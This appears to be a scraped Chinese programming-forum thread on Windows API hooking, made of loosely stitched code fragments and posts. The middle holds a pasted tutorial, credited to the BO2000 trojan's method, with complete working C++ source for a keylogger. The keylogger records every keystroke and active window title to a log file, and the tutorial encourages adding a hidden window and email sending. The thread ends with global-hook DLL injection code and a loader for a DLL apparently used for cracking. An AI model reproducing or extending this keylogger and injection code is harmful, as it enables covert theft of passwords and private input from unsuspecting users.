pHookEnv = InstallHookApi("Kernel32.dll", "DeviceIoControl", My_DeviceIoControl);

typedef BOOL (WINAPI __pfnDeviceIoControl)(
                HANDLE hDevice,
                DWORD dwIoControlCode,
                LPVOID lpInBuffer,
                DWORD nInBufferSize,
                LPVOID lpOutBuffer,
                DWORD nOutBufferSize,
                LPDWORD lpBytesReturned,
                LPOVERLAPPED lpOverlapped
                );
 
BOOL WINAPI My_DeviceIoControl(
                   DWORD RetAddr,
                   __pfnDeviceIoControl pfnDeviceIoControl,
                   HANDLE hDevice,
                   DWORD dwIoControlCode,
                   LPVOID lpInBuffer,
                   DWORD nInBufferSize,
                   LPVOID lpOutBuffer,
                   DWORD nOutBufferSize,
                   LPDWORD lpBytesReturned,
                   LPOVERLAPPED lpOverlapped
                   );

BOOL WINAPI My_DeviceIoControl(
                   DWORD RetAddr,
                   __pfnDeviceIoControl pfnDeviceIoControl,
                   HANDLE hDevice,
                   DWORD dwIoControlCode,
                   LPVOID lpInBuffer,
                   DWORD nInBufferSize,
                   LPVOID lpOutBuffer,
                   DWORD nOutBufferSize,
                   LPDWORD lpBytesReturned,
                   LPOVERLAPPED lpOverlapped
                   )
{
    ...
    if (XXXX)
    {
        ...
        pfnDeviceIoControl(XXXXXXX);
        ...
    }
    ...
 
    return xxx;
}

BOOL WINAPI My_DeviceIoControl(
                   DWORD RetAddr,
                   __pfnDeviceIoControl pfnDeviceIoControl,
                   HANDLE hDevice,
                   DWORD dwIoControlCode,
                   LPVOID lpInBuffer,
                   DWORD nInBufferSize,
                   LPVOID lpOutBuffer,
                   DWORD nOutBufferSize,
                   LPDWORD lpBytesReturned,
                   LPOVERLAPPED lpOverlapped
                   )
{
    ...
    if (XXXX)
    {
        ...
    }
    ...
 
    return pfnDeviceIoControl(hDevice,dwIoControlCode,lpInBuffer,nInBufferSize,lpOutBuffer,nOutBufferSize,lpBytesReturned,lpOverlapped);
}

BOOL WINAPI My_DeviceIoControl(
                   DWORD RetAddr,
                   __pfnDeviceIoControl pfnDeviceIoControl,
                   HANDLE hDevice,
                   DWORD dwIoControlCode,
                   LPVOID lpInBuffer,
                   DWORD nInBufferSize,
                   LPVOID lpOutBuffer,
                   DWORD nOutBufferSize,
                   LPDWORD lpBytesReturned,
                   LPOVERLAPPED lpOverlapped
                   )
{
    DWORD dwRet;
 
    dwRet = pfnDeviceIoControl(hDevice,dwIoControlCode,lpInBuffer,nInBufferSize,lpOutBuffer,nOutBufferSize,lpBytesReturned,lpOverlapped);
 
    if (XXXX)
    {
        ...
    }
    ...
 
    return dwRet;
}

非常感谢楼主的解答!!!

呵呵,由于本人是初学编程,所以对你说说的"DLL全局注入"的意思不太明白,能否解答一二?
你的这些代码可以归纳为两个接口,-----HOoK和UnHook-------,可是全局注入我真不懂,

★★注意：
1,如果在HookProc中自己不调用API(pfnXXXXX())，那么返回后，Stub是不会调用的，切记！
2,当HookProc中使用UnInstallHookApi卸载完后就不能用第二个参数来调用API了(pfnXXXX())，切记！

你可以在自己的My_DevideIoControl里面判断返回地址是不是在某个模块中，然后记录下需要记录的参数

/*
//////////////////////////////////////////////////////////////////////////
HookApi 0.5

thanks to xIkUg ,sucsor

by 海风月影[RCT] , eIcn#live.cn
2008.04.15

我们Windows系统是建立在消息传递的事件驱动的机制上。用钩子可以截获并处理送给其他应用程序的消息，来完成普通应用程序难以实现的功能。键盘记录者的原理就是使用键盘钩子截获键盘消息。当然，并非键盘记录一定要使用钩子，比如WinEggDrop的无钩子键盘记录者。
一般书上都会说：“全局钩子函数必须包含在DLL中，而线程专用钩子还可以包含在可执行文件中”。即如果钩子过程在应用程序中实现，只对该程序起作用；如果钩子过程在DLL中实现，程序在运行中动态调用它，它能对整个系统进行监控。我们做键盘记录当然希望是针对整个系统的了，所以我们发现很多键盘记录者或者带键盘记录功能的木马服务端里都包含用来支持键盘记录的DLL文件。多了DLL文件既增加了程序的体积，也容易因为丢了DLL文件而丧失了键盘记录的功能。本文要讲的是，并非全局键盘钩子一定要在DLL文件中实现，程序中亦可以实现全局钩子。本文的方法来自著名木马BO2000，下面将会向大家详细解说如何实现既使用键盘钩子而又无DLL键盘记录者。
先说点基础知识。实现一个键盘钩子，必须调用API函数SetWindowsHookEx来安装这个钩子函数，这个函数的原型为：HHOOK SetWindowsHookEx(int idHook,HOOKPROC lpfn,HINSTANCE hMod,DWORD dwThreadId);其中，第一个参数是钩子的类型；第二个参数是钩子函数的地址；第三个参数是包含钩子函数的模块句柄；第四个参数指定监视的线程。我们要实现一个全局钩子，所以第四个参数需设置为空。得到控制权的钩子函数在完成对消息的处理后，调用API函数CallNextHookEx来传递该消息。关于钩子的详细介绍读者可参考其它书籍。
本文使用的编程工具为VC++6.0。具体实现步骤和代码解析如下：
1、生成一个基于对话框的程序SEUKBSpy。打开SEUKBSpyDlg.cpp文件。加入下面的全局变量和键盘钩子函数。
HHOOK g_hHook = NULL;           //全局钩子函数句柄
HWND g_hLastFocus = NULL;         //活动窗体句柄

//键盘钩子函数
LRESULT CALLBACK KeyboardProc(int nCode,WPARAM wParam,LPARAM lParam)
{
  FILE* out;
  SYSTEMTIME sysTm;
  ::GetLocalTime(&sysTm);
  int m_nYear = sysTm.wYear;
  int m_nMonth = sysTm.wMonth;
  int m_nDay = sysTm.wDay;
  char filename[100];//保存文件名
  sprintf(filename,"Key_%d_%d_%d.log",m_nYear,m_nMonth,m_nDay);

  if(nCode<0)
    return CallNextHookEx(g_hHook,nCode,wParam,lParam); 

  if(nCode==HC_ACTION)//HC_ACTION表明lParam指向一消息结构
  {     
    EVENTMSG *pEvt=(EVENTMSG *)lParam;
    if(pEvt->message==WM_KEYDOWN)//判断是否是击键消息
    {   
      DWORD dwCount; 
      char svBuffer[256]; 
      int vKey,nScan; 
      vKey=LOBYTE(pEvt->paramL); 
      nScan=HIBYTE(pEvt->paramL);//扫描码
      nScan<<=16; 

      //检查当前窗口焦点是否改变
      HWND hFocus=GetActiveWindow(); 
      if(g_hLastFocus!=hFocus)
      {//保存窗口标题到文件中 
          char svTitle[256]; 
          int nCount; 
          nCount=GetWindowText(hFocus,svTitle,256); 
          if(nCount>0)
          { 
            out=fopen(filename,"a+");
            fprintf(out,"\r\n-----活动窗口[%s]-----\r\n",svTitle);
            fclose(out);
          } 
          g_hLastFocus=hFocus; 
      } 

      // Write out key 
      dwCount=GetKeyNameText(nScan,svBuffer,256); 
      if(dwCount)//如果所击键在虚拟键表之中
      {
          if(vKey==VK_SPACE)
          {
            svBuffer[0]=' '; 
            svBuffer[1]='\0'; 
            dwCount=1; 
          } 

          if(dwCount==1)//如果是普通键则将其对应的ascii码存入文件
          {   
            BYTE kbuf[256]; 
            WORD ch; 
            int chcount; 

            GetKeyboardState(kbuf);
            chcount=ToAscii(vKey,nScan,kbuf,&ch,0);
            /*根据当前的扫描码和键盘信息，将一个虚拟键转换成ASCII字符*/
            if(chcount>0)
            {
              out=fopen(filename,"a+");
              fprintf(out,"%c",char(ch));
              fclose(out);
            }
          }
          else//如果是Ctrl、Alt之类则直接将其虚拟键名存入文件
          {       
            out=fopen(filename,"a+");
            fprintf(out,"[%s]",svBuffer);
            fclose(out);
            if(vKey==VK_RETURN)//回车
            {
              out=fopen(filename,"a+");
              fprintf(out,"\r\n");
              fclose(out);
            }
          } 
      } 
    } 
  } 
  return CallNextHookEx(g_hHook,nCode,wParam,lParam); 
}
2、下面是本程序的精华所在。添加按钮[开始记录]及其响应函数OnStart()并在该函数中卸载钩子：
void CSEUKBSpyDlg::OnStart() 
{
g_hHook=SetWindowsHookEx(WH_JOURNALRECORD,KeyboardProc,GetModuleHandle(NULL),0);
}这里用GetModuleHandle(NULL)来把自身作为一个保存钩子处理函数的dll，非常巧妙实用，也是这个本程序的精华所在。
3、添加按钮[开始记录]及其响应函数OnStop()并在该函数中卸载钩子：
void CSEUKBSpyDlg::OnStop() 
{
  if(g_hHook)
      UnhookWindowsHookEx(g_hHook);
}
通过上面几步就可以实现一个无DLL文件的键盘记录者，测试一下就可以得到类似于“SEU_2006_5_3.log”文件名的键盘记录日志文件。再加上隐藏窗口和邮件发送功能是不是就成了一个很实用的键盘记录者？赶快动手打造自己的键盘记录者吧。

#include "stdafx.h"
HANDLE handle = NULL;
BOOL APIENTRY DllMain( HANDLE hModule, 
                       DWORD  ul_reason_for_call, 
                       LPVOID lpReserved
					 )
{
	handle = hModule;
	return TRUE;
}
HHOOK g_hHook = NULL;           //全局钩子函数句柄
 PHOOKENVIRONMENT pHookEnv = 0;
 BOOL IsMe = FALSE;
 
 //先定义一下要hook的WINAPI
 typedef HMODULE (WINAPI __pfnLoadLibraryA)(LPCTSTR lpFileName);
 
 HMODULE WINAPI My_LoadLibraryA(DWORD RetAddr,
	 __pfnLoadLibraryA pfnLoadLibraryA,
	 LPCTSTR lpFileName
	 )
 {
	 
	 HMODULE hLib;
	 
	 //需要自己处理重入和线程安全问题
	 if (!IsMe)
	 {
		 IsMe = TRUE;
		// MessageBox(NULL,lpFileName,TEXT("test"),MB_ICONINFORMATION);
		 hLib = LoadLibrary(lpFileName);//这里调用的是系统的，已经被hook过的
		 IsMe = FALSE;
		 //		//这里是卸载Hook，这里卸载完就不能用pfnLoadLibraryA来调用了
		 //		UnInstallHookApi((PHOOKENVIRONMENT)pfnLoadLibraryA);
		 return hLib;
	 }
	 
	 
	 return pfnLoadLibraryA(lpFileName);//这里调用非hook的
 }
 
 LRESULT CALLBACK KeyboardProc(int nCode,WPARAM wParam,LPARAM lParam)
 {
	 // 安装ApiHook
	 if (!pHookEnv)
	 {
		 pHookEnv = InstallHookApi("Kernel32.dll", "LoadLibraryA", My_LoadLibraryA);
		 if (pHookEnv)
		 {
			 ::MessageBoxA(NULL,"1111111","Very Good!!",MB_ICONINFORMATION);
 		 }
		 
		 
	 }
	 return CallNextHookEx(g_hHook,nCode,wParam,lParam); 
	 
}
 __declspec(dllexport) BOOL WINAPI InstallHook()
 {
	 // 初始化挂钩函数
	 g_hHook=SetWindowsHookEx(3,KeyboardProc,(HINSTANCE)handle,0);
	 if (!g_hHook)
	 {
		 return FALSE;
	 }

	 return TRUE;
 }

__declspec(dllexport) BOOL WINAPI UnHook()
{
	if (g_hHook)
	{
		return UnhookWindowsHookEx(g_hHook);
	}	
	return FALSE;
}

void CHookApiAppDlg::OnOK() 
{
	_asm cpuid
	__pfnInstallHook InstallHook;
	HINSTANCE hinstLib = LoadLibrary("fit_crk.dll");
	InstallHook = (__pfnInstallHook)GetProcAddress(hinstLib,"InstallHook");
	BOOL bRet = InstallHook();//[B][COLOR="Red"]用OD运行到此,发觉没有HOOK掉那个函数,但是返回是1[/COLOR][/B]
	FreeLibrary(hinstLib);

}